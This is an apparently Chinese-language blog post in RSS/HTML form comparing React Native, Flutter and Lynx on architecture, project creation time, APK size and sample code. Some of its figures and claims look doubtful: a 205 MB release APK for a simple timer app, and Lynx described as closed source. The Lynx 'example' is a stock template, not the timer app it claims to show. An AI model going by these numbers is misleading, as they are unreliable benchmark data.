&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架&lt;/th&gt;
&lt;th&gt;架构类型&lt;/th&gt;
&lt;th&gt;UI 渲染机制&lt;/th&gt;
&lt;th&gt;与原生交互方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;React Native&lt;/td&gt;
&lt;td&gt;JS Bridge 架构&lt;/td&gt;
&lt;td&gt;使用原生组件&lt;/td&gt;
&lt;td&gt;JS ↔ Native 异步调用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flutter&lt;/td&gt;
&lt;td&gt;自绘引擎架构（Skia）&lt;/td&gt;
&lt;td&gt;全部 UI 自绘&lt;/td&gt;
&lt;td&gt;Dart ↔ C++ ↔ 原生桥&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lynx&lt;/td&gt;
&lt;td&gt;AST DSL + 自研引擎&lt;/td&gt;
&lt;td&gt;渲染引擎驱动 UI 渲染&lt;/td&gt;
&lt;td&gt;JSON AST ↔ Native 高性能通信&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  3. 项目创建时间对比 🕒
&lt;/h2&gt;

&lt;p&gt;测试创建一个“计时器 App”项目的 scaffold 初始化耗时（单位：秒）：&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架&lt;/th&gt;
&lt;th&gt;创建项目耗时&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;React Native&lt;/td&gt;
&lt;td&gt;1.48 秒&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lynx&lt;/td&gt;
&lt;td&gt;0.17 秒&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flutter&lt;/td&gt;
&lt;td&gt;1.69 秒&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;👉 &lt;strong&gt;Lynx&lt;/strong&gt; 是明显的极速启动王者，适合大批量快速生成场景。&lt;/p&gt;




&lt;h2&gt;
  
  
  4. 打包后的 APK 体积对比 📦
&lt;/h2&gt;

&lt;p&gt;统一将“计时器 App”打包为 Release APK，使用 &lt;code&gt;du -h&lt;/code&gt; 获取体积如下：&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;框架&lt;/th&gt;
&lt;th&gt;APK 大小（Release）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;React Native&lt;/td&gt;
&lt;td&gt;205 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lynx&lt;/td&gt;
&lt;td&gt;145 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flutter&lt;/td&gt;
&lt;td&gt;19 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;✅ Flutter 拥有最小体积，得益于提前编译 + 资源剔除优化。&lt;/p&gt;




&lt;h2&gt;
  
  
  5. 核心代码对比 👩‍💻
&lt;/h2&gt;

&lt;h3&gt;
  
  
  React Native 示例：
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;Button&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;View&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-native&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setSeconds&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;View&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Text&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;seconds&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Button&lt;/span&gt; &lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Start&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="nx"&gt;onPress&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setSeconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;seconds&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/View&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Flutter 示例：
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight dart"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'package:flutter/material.dart'&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;runApp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MyApp&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MyApp&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;StatelessWidget&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="nd"&gt;@override&lt;/span&gt;
  &lt;span class="n"&gt;Widget&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BuildContext&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;MaterialApp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nl"&gt;home:&lt;/span&gt; &lt;span class="n"&gt;Scaffold&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nl"&gt;body:&lt;/span&gt; &lt;span class="n"&gt;Center&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nl"&gt;child:&lt;/span&gt; &lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;&lt;span class="si"&gt;$seconds&lt;/span&gt;&lt;span class="s"&gt; 秒'&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
      &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Lynx 示例:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@lynx-js/react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./App.css&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;arrow&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./assets/arrow.png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;lynxLogo&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./assets/lynx-logo.png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;reactLynxLogo&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./assets/react-logo.png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;alterLogo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setAlterLogo&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello, ReactLynx&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;onTap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useCallback&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;background-only&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;setAlterLogo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;alterLogo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;alterLogo&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Background&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;App&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Banner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Logo&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="nx"&gt;bindtap&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;onTap&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;alterLogo&lt;/span&gt;
              &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;reactLynxLogo&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Logo--react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
              &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;lynxLogo&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Logo--lynx&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Title&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Subtitle&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;on&lt;/span&gt; &lt;span class="nx"&gt;Lynx&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Content&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;image&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;arrow&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Arrow&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Tap&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;logo&lt;/span&gt; &lt;span class="nx"&gt;and&lt;/span&gt; &lt;span class="nx"&gt;have&lt;/span&gt; &lt;span class="nx"&gt;fun&lt;/span&gt;&lt;span class="o"&gt;!&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;className&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hint&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="nx"&gt;Edit&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;fontStyle&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;italic&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt; src/App.tsx &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;            &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;see&lt;/span&gt; &lt;span class="nx"&gt;updates&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
          &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/text&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;view&lt;/span&gt; &lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{{&lt;/span&gt; &lt;span class="na"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/view&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/page&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. 总体对比分析 🧠
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;React Native&lt;/th&gt;
&lt;th&gt;Flutter&lt;/th&gt;
&lt;th&gt;Lynx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;上手门槛&lt;/td&gt;
&lt;td&gt;中（前端开发者较易上手）&lt;/td&gt;
&lt;td&gt;中偏高（需掌握 Dart 语言）&lt;/td&gt;
&lt;td&gt;高（文档缺乏，仅限企业内部使用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;构建速度&lt;/td&gt;
&lt;td&gt;快&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;td&gt;极快&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;打包体积&lt;/td&gt;
&lt;td&gt;较大（约 205MB）&lt;/td&gt;
&lt;td&gt;极小（约 19MB）&lt;/td&gt;
&lt;td&gt;中等偏大（约 145MB）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;动画与渲染性能&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;td&gt;高（自绘引擎优势明显）&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原生扩展能力&lt;/td&gt;
&lt;td&gt;强&lt;/td&gt;
&lt;td&gt;强&lt;/td&gt;
&lt;td&gt;中等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;开源与生态&lt;/td&gt;
&lt;td&gt;开源活跃，社区庞大&lt;/td&gt;
&lt;td&gt;开源增长快，支持良好&lt;/td&gt;
&lt;td&gt;闭源，社区和资源有限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;典型适用场景&lt;/td&gt;
&lt;td&gt;MVP 快速开发、轻量级应用&lt;/td&gt;
&lt;td&gt;高性能跨端应用、复杂 UI 交互&lt;/td&gt;
&lt;td&gt;内嵌业务页面、IoT、信息流容器型场景&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;未来趋势展望 🔮&lt;br&gt;
Flutter：生态持续扩大，Google 主推，Web 与桌面支持不断加强；&lt;br&gt;
React Native：靠 Expo/Fabric/TurboModule 向现代架构演进；&lt;br&gt;
Lynx：可能会被 WASM + WebCanvas 替代，作为专用容器存在于巨头内部。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;没有银弹，选框架要理性。&lt;br&gt;
看业务场景、团队技术栈、长期维护成本，再决定用什么。&lt;br&gt;
技术测评，只说真话，不贴 logo，帮你避坑不踩雷！&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>reactnative</category>
      <category>flutter</category>
      <category>lynx</category>
    </item>
  </channel>
</rss>
